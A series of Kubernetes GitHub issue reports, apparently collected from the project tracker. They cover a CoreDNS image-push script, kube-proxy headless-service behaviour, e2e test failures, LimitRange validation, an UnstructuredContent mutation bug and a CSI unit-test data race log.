bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-09t07:12:03z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-09t07:12:03z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r kvm vms on ubuntu 16.04\r - os  e.g. from /etc/os-release :\r own busybox system\r - kernel  e.g.  uname -a  :\r    \r   uname -a\r linux vm-003 4.17.13  1 smp thu aug 9 09:27:42 cest 2018 x86_64 gnu/linux\r    \r - install tools:\r none\r - others:\r

need to push the latest coredns image to gcr.io\r the 1.2.5 image is available in docker coredns/coredns:1.2.5\r \r  \r this is the script used for pushing the image:\r \r    \r  !/bin/sh\r \r if   -z \ $1\  -o -z \ $2\  -o -z \ $3\  -o -z \ $4\   ; then\r     echo \ usage: $0 <src-reg> <image> <tag> <dst-reg>\  > /dev/stderr\r     echo \ example: $0 coredns coredns 1.2.5 staging-k8s.gcr.io\  > /dev/stderr\r     exit 1\r fi\r \r src_reg=\ $1\ \r img=\ $2\ \r tag=\ $3\ \r dst_reg=\ $4\ \r tmp=\ /tmp/$random\ \r json=\ $tmp.json\ \r \r echo \ fetching source manifest\ \r docker manifest inspect ${src_reg}/${img}:${tag} > ${json}\r \r echo\r echo \ pulling source images by sha\ \r cat ${json} \\\r     | jq -j \ .manifests   | \\\ ${src_reg}/${img}@\\\ , .digest, \\\ \ \\\  \  \\\r     | while read x; do docker pull $x; done\r \r echo\r echo \ tagging images with arch and os\ \r cat ${json} \\\r     | jq -j \ .manifests   | \\\ docker tag ${src_reg}/${img}@\\\ , .digest, \\\  ${dst_reg}/${img}:${tag}__\\\ , .platform.architecture, \\\ _\\\ , .platform.os, \\\ \ \\\ \  \\\r     | while read x; do $x; done\r \r echo\r echo \ pushing images\ \r cat ${json} \\\r     | jq -j \ .manifests   | \\\ gcloud docker -- push ${dst_reg}/${img}:${tag}__\\\ , .platform.architecture, \\\ _\\\ , .platform.os, \\\ \ \\\ \  \\\r     | while read x; do $x; done\r \r echo\r echo \ creating and pushing manifest\ \r platforms=$ cat ${json} | jq -j \ .manifests   | .platform.os, \\\ /\\\ , .platform.architecture, \\\ \ \\\ \  | paste -sd, \r echo manifest-tool push from-args \\\r     --platforms \ ${platforms}\  \\\r     --template ${dst_reg}/${img}:${tag}__arch_os \\\r     --target ${dst_reg}/${img}:${tag}\r manifest-tool push from-args \\\r     --platforms \ ${platforms}\  \\\r     --template ${dst_reg}/${img}:${tag}__arch_os \\\r     --target ${dst_reg}/${img}:${tag}\r    \r \r /cc @chrisohaver \r /cc @bentheelder\r /cc @timothysc\r /cc @aishsundar \r /cc @dims \r /assign @thockin\r \r @fturib \r \r   

what happened  :\r when creating two services one of which headless against the same deployment the userspace and iptables proxy modes have different behaviors.  \r \r   what you expected to happen  :\r both userspace and iptables proxy modes to be transparent to the user. also seems userspace mode is not compliant with what is described in the docs: https://kubernetes.io/docs/concepts/services-networking/service/ headless-services\r \r   how to reproduce it  as minimally and precisely as possible   :\r on a kubernetes cluster set the  --proxy-mode=\ userspace\   in the kube-proxy.\r \r create a deployment and two services  one of which is headless  in namespace servicetest https://github.com/ubuntu/microk8s/files/3068686/echotest.yaml.txt\r \r get a bash console in the 'nc-debugger' instance:\r    \r kubectl exec -n servicetest -it  kubectl get pods -n servicetest -l app=nc-debugger --no-headers -o custom-columns=:metadata.name  -- bash\r    \r \r try to ping the service:\r    \r echo \ pong\  | nc echoserver-s 8445\r    \r no ping is returned.\r \r now switch your kube-proxy to use iptables  --proxy-mode=\ iptables\  .\r \r try the ping again:\r    \r kubectl exec -n servicetest -it  kubectl get pods -n servicetest -l app=nc-debugger --no-headers -o custom-columns=:metadata.name  -- bash\r \r   and inside the pod\r echo \ pong\  | nc echoserver-s 8445\r    \r a ping is returned.\r \r   anything else we need to know?  :\r issue was reported at https://github.com/ubuntu/microk8s/issues/426 you may find more details there.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.0\ , gitcommit:\ 641856db18352033a0d96dbc99153fa3b27298e5\ , gittreestate:\ clean\ , builddate:\ 2019-03-25t15:53:57z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.0\ , gitcommit:\ 641856db18352033a0d96dbc99153fa3b27298e5\ , gittreestate:\ clean\ , builddate:\ 2019-03-25t15:45:25z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: local machine\r - os  e.g:  cat /etc/os-release  : \r name=\ ubuntu\ \r version=\ 18.04.2 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04.2 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r \r - kernel  e.g.  uname -a  : linux jackal-vgn-fz11m 4.15.0-47-generic  50-ubuntu smp wed mar 13 10:44:52 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r - install tools: microk8s\r - others:\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke/8367/  failed:  k8s.io  emptydir volumes should support  root,0777,default   conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/empty_dir.go:101 expected error:     < errors.errorstring | 0xc820b677b0>: {         s: \ pod 'pod-98162e01-2990-11e6-acd5-0242ac11001e' terminated with failure: &{exitcode:137 signal:0 reason:error message: startedat:{time:2016-06-03 06:39:29 -0700 pdt} finishedat:{time:2016-06-03 06:40:55 -0700 pdt} containerid:docker://ef5e6699f55c4c545363f775b37fec458427802f4992f076d5798fb3c659017a}\ ,     }     pod 'pod-98162e01-2990-11e6-acd5-0242ac11001e' terminated with failure: &{exitcode:137 signal:0 reason:error message: startedat:{time:2016-06-03 06:39:29 -0700 pdt} finishedat:{time:2016-06-03 06:40:55 -0700 pdt} containerid:docker://ef5e6699f55c4c545363f775b37fec458427802f4992f076d5798fb3c659017a} not to have occurred

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-federation/18/  multiple broken tests:  failed: listresources before {e2e.go}      failed to list resources  exit status 1 : project: k8s-jkns-e2e-gce-federation region:  zone:  instance prefix: bootstrap-e2e network: bootstrap-e2e provider: gce     instance-templates        instance-groups        instances        disks        addresses   name                              region       address          status aac2c2791901211e6ad5242010a80000  us-central1  104.198.56.62    reserved ac6321b9c80fe11e6ab6042010a80000  us-central1  104.197.171.242  reserved     routes   name                            network      dest_range     next_hop                  priority     firewall-rules        issues about this test specifically:  34755   failed: listresources after {e2e.go}      failed to list resources  exit status 1 : project: k8s-jkns-e2e-gce-federation region:  zone:  instance prefix: bootstrap-e2e network: bootstrap-e2e provider: gce     instance-templates        instance-groups        instances        disks        addresses   name                              region       address          status aac2c2791901211e6ad5242010a80000  us-central1  104.198.56.62    reserved ac6321b9c80fe11e6ab6042010a80000  us-central1  104.197.171.242  reserved     routes   name                            network      dest_range     next_hop                  priority     firewall-rules          failed:  k8s.io  federation deployments  feature:federation  federated deployment should create and update matching deployments in underling clusters {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/federation-deployment.go:113 failed to verify deployment \ e2e-tests-federation-deployment-51y38\ /\ federation-deployment\ , err: timed out waiting for the condition expected error:     < errors.errorstring | 0xc4203d0e60>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/federation-deployment.go:119       failed:  k8s.io  federated ingresses  feature:federation  federated ingresses ingress connectivity and dns should be able to connect to a federated ingress via its load balancer {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/federated-ingress.go:179 nov 18 07:09:27.467: ingress failed to acquire an ip address within 15m0s /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/federated-ingress.go:351     issues about this test specifically:  32732  35392  36074  previous issues for this suite:  36927  37043

staging/src/k8s.io/apiserver  has gotten large enough that people are starting to ask about godeping it.  this means we need to hash out the name and create a repo for it, along with a sync script  possibly like this: https://github.com/kubernetes/apimachinery/pull/2\r \r @lavalamp @kubernetes/sig-api-machinery-misc @smarterclayton @liggitt @sttts\r @jayunit100 since you asked.\r @pmorie since you're going to ask.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r    /cc @spxtr \r \r   what happened  :\r i add some test cases in  pkg/registry/core/service/rest_test.go  and i want to test this pkg only. i run  make test waht=./pkg/registry/core/service , but it runs all unit tests.\r    \r +++  0721 16:08:01  running tests without code coverage\r ok  \tk8s.io/kubernetes/cmd/genutils\t0.025s\r ok  \tk8s.io/kubernetes/cmd/gke-certificates-controller/app\t7.216s\r ok  \tk8s.io/kubernetes/cmd/hyperkube\t0.435s\r ok  \tk8s.io/kubernetes/cmd/kube-apiserver/app/options\t0.197s\r ok  \tk8s.io/kubernetes/cmd/kube-apiserver/app/preflight\t0.048s\r    \r \r finally i find that i have a typo in the args.  waht  vs  what . after correcting this, the test runs as expected.\r \r so i wonder if the args can be validated to check this mistake?\r \r   what you expected to happen  :\r if i type an invalid args, it terminates and tells me why.\r \r   how to reproduce it  as minimally and precisely as possible   :\r see above.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r \r   what happened  :\r federation set up using kubefed uses invalid reference format, breaking the federation control plane.\r \r    \r r}   warning   inspectfailed   kubelet, gke-kubernetes-cluster-pool-1-76a09ebd-b587   failed to apply default image tag \ gcr.io/google_containers/hyperkube-amd64:v1.8.0+0b9efaeb34a2f\ : couldn't parse image reference \ gcr.io/google_containers/hyperkube-amd64:v1.8.0+0b9efaeb34a2f\ : invalid reference format\r 2017-10-04 14:07:14 +0200 cest   2017-10-04 14:00:47 +0200 cest   31        fed-zone-europe-controller-manager-4130961042-m9c3z.14ea5c3e2a63466e   pod                 warning   failedsync   kubelet, gke-kubernetes-cluster-pool-1-76a09ebd-b587   error syncing pod\r    \r   what you expected to happen  :\r that it works.\r \r   how to reproduce it  as minimally and precisely as possible   :\r try to set up a control plane using kubefed.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0+0b9efaeb34a2f\ , gitcommit:\ 638b0a06d928e7a12fa29bb12610158a235585d7\ , gittreestate:\ dirty\ , builddate:\ 2017-10-02t09:48:25z\ , goversion:\ go1.9\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.6-gke.1\ , gitcommit:\ 407dbfe965f3de06b332cc22d2eb1ca07fb4d3fb\ , gittreestate:\ clean\ , builddate:\ 2017-09-27t21:21:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r gcp\r - os  e.g. from /etc/os-release :\r ubuntu xenial\r - kernel  e.g.  uname -a  : irrelevant\r - install tools: gke\r

is this a bug report or feature request?  :\r feature request\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r as far, gpu and hugepages are particular resources which reqiure limits must equal to requests.\r but this rule may be broken when creating limitrange, limitrange with different values in default and defaultrequest can be created successfully, which would cause error in creating pods afterwards.\r we should not leave this error to pod creation but tell the users when creating the limitrange.\r \r   what you expected to happen  :\r validate if values are proper for gpu and hugepages when creating limitrange.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create limitrange with the following yaml:\r    \r apiversion: v1\r kind: limitrange\r metadata:\r   name: default-test\r spec:\r   limits:\r    default:\r       hugepages-2mi: 40mi\r       alpha.kubernetes.io/nvidia-gpu: 3\r     defaultrequest:\r       hugepages-2mi: 30mi\r       alpha.kubernetes.io/nvidia-gpu: 2\r     type: container\r    \r \r 2. create pods with the following yaml:\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: test\r spec:\r   containers:\r    image: tomcat_java:v10.0\r     command:\r      /home/test.sh\r     name: example\r     volumemounts:\r      mountpath: /hugepages\r       name: hugepage\r   volumes:\r    name: hugepage\r     emptydir:\r       medium: hugepages\r    \r \r 3. it would prompt error like:\r    \r the pod \ test\  is invalid:\r spec.containers 0 .resources.requests: invalid value: \ 2\ : must be equal to alpha.kubernetes.io/nvidia-gpu limit\r spec.containers 0 .resources.requests: invalid value: \ 30mi\ : must be equal to alpha.kubernetes.io/nvidia-gpu limit\r    \r maybe we should let this error happen in creating limitrange.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.1.1879+d9459270770143\ , gitcommit:\ d94592707701438fece7ab7e49ea9e6a90fe7993\ , gittreestate:\ clean\ , builddate:\ 2017-11-01t07:53:05z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.1.1879+d9459270770143\ , gitcommit:\ d94592707701438fece7ab7e49ea9e6a90fe7993\ , gittreestate:\ clean\ , builddate:\ 2017-11-01t07:50:07z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /cc @derekwaynecarr @vishh would this a possible feature?

what happened  :\r in  51526 i introduced an optimization - do a deep copy instead of to and from json roundtrip to convert anything that implements  runtime.unstructured . i then discovered that the method that is used there  unstructuredcontent    in both  unstructured  and  unstructuredlist  may mutate the original object.\r https://github.com/kubernetes/kubernetes/blob/160cf97fa426dcf355357a81e7824840afd52bcc/staging/src/k8s.io/apimachinery/pkg/apis/meta/v1/unstructured/unstructured.go l83-l88\r https://github.com/kubernetes/kubernetes/blob/160cf97fa426dcf355357a81e7824840afd52bcc/staging/src/k8s.io/apimachinery/pkg/apis/meta/v1/unstructured/unstructured_list.go l55-l72\r this is problematic because previously  before  51526  there was no mutation and because this is unexpected and may lead to data races - it is bad behaviour to mutate original object when you just want a copy of it.\r   this issue was fixed by  55871  .\r \r however the underlying issue is not fixed here -  unstructuredcontent    is brittle and dangerous. method name does not imply that it mutates data when you call it. and godoc does not mention that either:\r https://github.com/kubernetes/kubernetes/blob/e7e313d6d23f4e4619944049a265270353c19cf8/staging/src/k8s.io/apimachinery/pkg/runtime/interfaces.go l233-l249\r something needs to be done about it imo.\r \r this method is misused in these places  mutation side effect is not intended :\r https://github.com/kubernetes/kubernetes/blob/8442a118ea91c1ccb6a4b2d1505359732608b5cf/pkg/printers/jsonpath.go l117-l152\r https://github.com/kubernetes/kubernetes/blob/091a9dfc35a10637c464b7f5e1e2ec2d25d7067f/pkg/printers/customcolumn.go l203-l242\r https://github.com/kubernetes/kubernetes/blob/d2a62fd42234a96cbab2dbcf402c168c59b41784/pkg/printers/humanreadable.go l685-l742\r \r also  unstructuredcontent    implementation in  unstructuredlist  does not implement the behaviour required by godoc in  runtime.unstructured .\r \r   what you expected to happen  :\r there should be a method that returns the current unstructured contents without mutation and perhaps not providing the write-through effect.\r \r  

  \r   what happened  :\r csi unit tests occasionally end up with data race:\r \r    \r i0416 10:15:48.860139   12592 csi_plugin.go:61  kubernetes.io/csi: plugin initializing...\r i0416 10:15:48.860996   12592 plugins.go:463  loaded volume plugin \ kubernetes.io/csi\ \r i0416 10:15:48.861457   12592 csi_attacher.go:102  kubernetes.io/csi: attachment  csi-4d8f42c5f953488d695504cfaf9658961d83f72b5ac9bba3e32c2ddb7708e84f  for volume  testvol-01  created successfully\r i0416 10:15:48.861528   12592 csi_attacher.go:131  kubernetes.io/csi: probing for updates from csi driver for  attachment.id=csi-4d8f42c5f953488d695504cfaf9658961d83f72b5ac9bba3e32c2ddb7708e84f \r i0416 10:15:48.861608   12592 csi_attacher.go:140  kubernetes.io/csi: probing volumeattachment  id=csi-4d8f42c5f953488d695504cfaf9658961d83f72b5ac9bba3e32c2ddb7708e84f \r i0416 10:15:48.871527   12592 watch.go:109  stopping fake watcher.\r i0416 10:15:48.871614   12592 csi_attacher.go:115  kubernetes.io/csi: attacher.attach finished ok with volumeattachment verified=true: attachment object  csi-4d8f42c5f953488d695504cfaf9658961d83f72b5ac9bba3e32c2ddb7708e84f \r i0416 10:15:48.871657   12592 csi_plugin.go:61  kubernetes.io/csi: plugin initializing...\r i0416 10:15:48.871693   12592 plugins.go:463  loaded volume plugin \ kubernetes.io/csi\ \r i0416 10:15:48.872070   12592 csi_attacher.go:102  kubernetes.io/csi: attachment  csi-70fa8b122628ff5436f098759b79c93487b3894e2bff5637c618405a059b0b47  for volume  vol02  created successfully\r i0416 10:15:48.872106   12592 csi_attacher.go:131  kubernetes.io/csi: probing for updates from csi driver for  attachment.id=csi-70fa8b122628ff5436f098759b79c93487b3894e2bff5637c618405a059b0b47 \r i0416 10:15:48.872138   12592 csi_attacher.go:140  kubernetes.io/csi: probing volumeattachment  id=csi-70fa8b122628ff5436f098759b79c93487b3894e2bff5637c618405a059b0b47 \r i0416 10:15:48.882107   12592 watch.go:109  stopping fake watcher.\r i0416 10:15:48.882168   12592 csi_attacher.go:115  kubernetes.io/csi: attacher.attach finished ok with volumeattachment verified=true: attachment object  csi-70fa8b122628ff5436f098759b79c93487b3894e2bff5637c618405a059b0b47 \r i0416 10:15:48.882225   12592 csi_plugin.go:61  kubernetes.io/csi: plugin initializing...\r i0416 10:15:48.882258   12592 plugins.go:463  loaded volume plugin \ kubernetes.io/csi\ \r i0416 10:15:48.882545   12592 csi_attacher.go:102  kubernetes.io/csi: attachment  csi-75f1d3164ac9ae6f73784b2ed6b77839daf5b01a8dd52e787c8769b6fdb1b8ec  for volume  vol01  created successfully\r i0416 10:15:48.882587   12592 csi_attacher.go:131  kubernetes.io/csi: probing for updates from csi driver for  attachment.id=csi-75f1d3164ac9ae6f73784b2ed6b77839daf5b01a8dd52e787c8769b6fdb1b8ec \r i0416 10:15:48.882619   12592 csi_attacher.go:140  kubernetes.io/csi: probing volumeattachment  id=csi-75f1d3164ac9ae6f73784b2ed6b77839daf5b01a8dd52e787c8769b6fdb1b8ec \r i0416 10:15:49.883446   12592 csi_plugin.go:61  kubernetes.io/csi: plugin initializing...\r i0416 10:15:49.883588   12592 plugins.go:463  loaded volume plugin \ kubernetes.io/csi\ \r i0416 10:15:49.884863   12592 csi_attacher.go:102  kubernetes.io/csi: attachment  csi-8d666355799344c2b14819eb973950d28cf52f4d3a58e3fbeb8b92e29851fa17  for volume  vol02  created successfully\r i0416 10:15:49.885055   12592 csi_attacher.go:131  kubernetes.io/csi: probing for updates from csi driver for  attachment.id=csi-8d666355799344c2b14819eb973950d28cf52f4d3a58e3fbeb8b92e29851fa17 \r i0416 10:15:49.885232   12592 csi_attacher.go:140  kubernetes.io/csi: probing volumeattachment  id=csi-8d666355799344c2b14819eb973950d28cf52f4d3a58e3fbeb8b92e29851fa17 \r i0416 10:15:50.884496   12592 csi_plugin.go:61  kubernetes.io/csi: plugin initializing...\r i0416 10:15:50.884541   12592 plugins.go:463  loaded volume plugin \ kubernetes.io/csi\ \r i0416 10:15:50.885009   12592 csi_attacher.go:102  kubernetes.io/csi: attachment  csi-fd8097578f4563d9a74d4e7ba8397c32e42b2cea4ae677f8ccb4ba12bbd0008f  for volume  vol02  created successfully\r i0416 10:15:50.885058   12592 csi_attacher.go:131  kubernetes.io/csi: probing for updates from csi driver for  attachment.id=csi-fd8097578f4563d9a74d4e7ba8397c32e42b2cea4ae677f8ccb4ba12bbd0008f \r i0416 10:15:50.885108   12592 csi_attacher.go:140  kubernetes.io/csi: probing volumeattachment  id=csi-fd8097578f4563d9a74d4e7ba8397c32e42b2cea4ae677f8ccb4ba12bbd0008f \r i0416 10:15:51.888911   12592 csi_plugin.go:61  kubernetes.io/csi: plugin initializing...\r i0416 10:15:51.889066   12592 plugins.go:463  loaded volume plugin \ kubernetes.io/csi\ \r i0416 10:15:51.889932   12592 csi_attacher.go:131  kubernetes.io/csi: probing for updates from csi driver for  attachment.id=csi-8a782d3ec493cb8e5a83684820c9164ad40c550244be34ba2efe59a416235cce \r i0416 10:15:51.890190   12592 csi_attacher.go:140  kubernetes.io/csi: probing volumeattachment  id=csi-8a782d3ec493cb8e5a83684820c9164ad40c550244be34ba2efe59a416235cce \r i0416 10:15:51.891346   12592 csi_attacher.go:131  kubernetes.io/csi: probing for updates from csi driver for  attachment.id=csi-bce2a64c54e9d68b8c3f705c118ee2142fa71812c655090f4b42bfb1a5bafec8 \r i0416 10:15:51.891446   12592 csi_attacher.go:140  kubernetes.io/csi: probing volumeattachment  id=csi-bce2a64c54e9d68b8c3f705c118ee2142fa71812c655090f4b42bfb1a5bafec8 \r e0416 10:15:51.891634   12592 csi_attacher.go:158  kubernetes.io/csi: attachment for test-vol-1 failed: missing volume\r i0416 10:15:51.895332   12592 csi_attacher.go:131  kubernetes.io/csi: probing for updates from csi driver for  attachment.id=csi-7abd6e0ec9124637db4e952a24f9ff404b1185f5ead8852977a1d67741508e9f \r i0416 10:15:51.895635   12592 csi_attacher.go:140  kubernetes.io/csi: probing volumeattachment  id=csi-7abd6e0ec9124637db4e952a24f9ff404b1185f5ead8852977a1d67741508e9f \r i0416 10:15:51.902762   12592 watch.go:109  stopping fake watcher.\r i0416 10:15:51.903200   12592 csi_attacher.go:131  kubernetes.io/csi: probing for updates from csi driver for  attachment.id=csi-27939ef3d2b20326fbd5c067388c94dcf976a8aeb5bd93b5219b4027d07ae753 \r i0416 10:15:51.903269   12592 csi_attacher.go:140  kubernetes.io/csi: probing volumeattachment  id=csi-27939ef3d2b20326fbd5c067388c94dcf976a8aeb5bd93b5219b4027d07ae753 \r e0416 10:15:51.939593   12592 csi_attacher.go:207  kubernetes.io/csi: attacher.waitforattach timeout after 30ms  volume=test-vol-3; attachment.id=csi-27939ef3d2b20326fbd5c067388c94dcf976a8aeb5bd93b5219b4027d07ae753 \r i0416 10:15:51.939758   12592 watch.go:109  stopping fake watcher.\r ==================\r warning: data race\r write at 0x00c4200209c0 by goroutine 26:\r   runtime.closechan  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/runtime/chan.go:313 +0x0\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/watch.  fakewatcher .stop  \r       /home/jsafrane/project/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/watch/watch.go:110 +0x118\r   k8s.io/kubernetes/pkg/volume/csi.  csiattacher .waitforvolumeattachmentinternal  \r       /home/jsafrane/project/go/src/k8s.io/kubernetes/pkg/volume/csi/csi_attacher.go:208 +0x1e29\r   k8s.io/kubernetes/pkg/volume/csi.  csiattacher .waitforvolumeattachment  \r       /home/jsafrane/project/go/src/k8s.io/kubernetes/pkg/volume/csi/csi_attacher.go:136 +0x29a\r   k8s.io/kubernetes/pkg/volume/csi.testattacherwaitforvolumeattachment  \r       /home/jsafrane/project/go/src/k8s.io/kubernetes/pkg/volume/csi/csi_attacher_test.go:259 +0xcf1\r   testing.trunner  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:746 +0x16c\r \r previous read at 0x00c4200209c0 by goroutine 28:\r   runtime.chansend  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/runtime/chan.go:128 +0x0\r   k8s.io/kubernetes/pkg/volume/csi.testattacherwaitforvolumeattachment.func1  \r       /home/jsafrane/project/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/watch/watch.go:140 +0x13a\r \r goroutine 26  running  created at:\r   testing.  t .run  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:789 +0x568\r   testing.runtests.func1  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:1004 +0xa7\r   testing.trunner  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:746 +0x16c\r   testing.runtests  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:1002 +0x521\r   testing.  m .run  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:921 +0x206\r   main.main  \r       k8s.io/kubernetes/pkg/volume/csi/_test/_testmain.go:88 +0x1d3\r \r goroutine 28  running  created at:\r   k8s.io/kubernetes/pkg/volume/csi.testattacherwaitforvolumeattachment  \r       /home/jsafrane/project/go/src/k8s.io/kubernetes/pkg/volume/csi/csi_attacher_test.go:251 +0x1185\r   testing.trunner  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:746 +0x16c\r ==================\r ==================\r warning: data race\r write at 0x00c42050d000 by goroutine 26:\r   k8s.io/kubernetes/pkg/volume/csi.testattacherwaitforvolumeattachment  \r       /home/jsafrane/project/go/src/k8s.io/kubernetes/pkg/volume/csi/csi_attacher_test.go:234 +0x4b6\r   testing.trunner  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:746 +0x16c\r \r previous read at 0x00c42050d001 by goroutine 28:\r   k8s.io/kubernetes/pkg/volume/csi.testattacherwaitforvolumeattachment.func1  \r       /home/jsafrane/project/go/src/k8s.io/kubernetes/pkg/volume/csi/csi_attacher_test.go:253 +0x79\r \r goroutine 26  running  created at:\r   testing.  t .run  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:789 +0x568\r   testing.runtests.func1  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:1004 +0xa7\r   testing.trunner  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:746 +0x16c\r   testing.runtests  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:1002 +0x521\r   testing.  m .run  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:921 +0x206\r   main.main  \r       k8s.io/kubernetes/pkg/volume/csi/_test/_testmain.go:88 +0x1d3\r \r goroutine 28  running  created at:\r   k8s.io/kubernetes/pkg/volume/csi.testattacherwaitforvolumeattachment  \r       /home/jsafrane/project/go/src/k8s.io/kubernetes/pkg/volume/csi/csi_attacher_test.go:251 +0x1185\r   testing.trunner  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:746 +0x16c\r ==================\r ==================\r warning: data race\r write at 0x00c42050d008 by goroutine 26:\r   k8s.io/kubernetes/pkg/volume/csi.testattacherwaitforvolumeattachment  \r       /home/jsafrane/project/go/src/k8s.io/kubernetes/pkg/volume/csi/csi_attacher_test.go:234 +0x4b6\r   testing.trunner  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:746 +0x16c\r \r previous read at 0x00c42050d008 by goroutine 28:\r   k8s.io/kubernetes/pkg/volume/csi.testattacherwaitforvolumeattachment.func1  \r       /home/jsafrane/project/go/src/k8s.io/kubernetes/pkg/volume/csi/csi_attacher_test.go:252 +0x40\r \r goroutine 26  running  created at:\r   testing.  t .run  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:789 +0x568\r   testing.runtests.func1  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:1004 +0xa7\r   testing.trunner  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:746 +0x16c\r   testing.runtests  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:1002 +0x521\r   testing.  m .run  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:921 +0x206\r   main.main  \r       k8s.io/kubernetes/pkg/volume/csi/_test/_testmain.go:88 +0x1d3\r \r goroutine 28  running  created at:\r   k8s.io/kubernetes/pkg/volume/csi.testattacherwaitforvolumeattachment  \r       /home/jsafrane/project/go/src/k8s.io/kubernetes/pkg/volume/csi/csi_attacher_test.go:251 +0x1185\r   testing.trunner  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:746 +0x16c\r ==================\r ==================\r warning: data race\r write at 0x00c42050d018 by goroutine 26:\r   k8s.io/kubernetes/pkg/volume/csi.testattacherwaitforvolumeattachment  \r       /home/jsafrane/project/go/src/k8s.io/kubernetes/pkg/volume/csi/csi_attacher_test.go:234 +0x4b6\r   testing.trunner  \r       /home/jsafrane/.gimme/versions/go1.9.2.linux.amd64/src/testing/testing.go:746 +0x16c\r 